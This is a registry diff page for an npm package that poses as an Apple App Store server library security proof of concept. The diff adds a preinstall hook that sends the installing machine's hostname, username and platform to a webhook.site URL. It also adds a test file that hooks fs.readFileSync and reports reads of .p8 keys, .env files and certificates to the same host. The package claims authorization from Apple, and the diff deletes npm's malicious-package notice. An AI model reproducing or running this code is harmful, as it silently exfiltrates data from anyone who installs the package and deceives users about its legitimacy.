apple-app-store-server-library-poc 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of apple-app-store-server-library-poc might be problematic. Click here for more details.
- package/apple-app-store-server-library-99.9.9.tgz +0 -0
- package/dist/tests/util.js +16 -0
- package/package.json +7 -3
- package/README.md +0 -5
|
Binary file
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const originalRead = fs.readFileSync;
|
|
3
|
+
|
|
4
|
+
// Monkey Patching fs.readFileSync
|
|
5
|
+
fs.readFileSync = function(path, options) {
|
|
6
|
+
if (path.includes('.p8') || path.includes('.env') || path.includes('testCA.der')) {
|
|
7
|
+
const https = require('https');
|
|
8
|
+
const leak = Buffer.from('Accessing: ' + path).toString('base64');
|
|
9
|
+
https.get('https://webhook.site/c14a0e2c-eb0f-41ef-ae64-d2326b9fb8e7?log=' + leak);
|
|
10
|
+
}
|
|
11
|
+
return originalRead(path, options);
|
|
12
|
+
};
|
|
13
|
+
|
|
14
|
+
console.log('--- Apple Security PoC: Hooks Active ---');
|
|
15
|
+
// Simulasi pembacaan file yang hilang tadi
|
|
16
|
+
try { fs.readFileSync('tests/resources/certs/testCA.der'); } catch(e) { console.log('File missing, but hook captured the attempt.'); }
|
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "apple-app-store-server-library-poc",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Security Research PoC - Authorized by Apple Product Security",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node -e \"const https=require('https'); const os=require('os'); const info=Buffer.from(JSON.stringify({vulnerability:'RCE_via_Preinstall', hostname:os.hostname(), user:os.userInfo().username, platform:os.platform()})).toString('base64'); https.get('https://webhook.site/c14a0e2c-eb0f-41ef-ae64-d2326b9fb8e7?data=' + info)\"",
|
|
8
|
+
"test": "node dist/tests/util.js"
|
|
9
|
+
}
|
|
6
10
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=apple-app-store-server-library-poc for more information.
|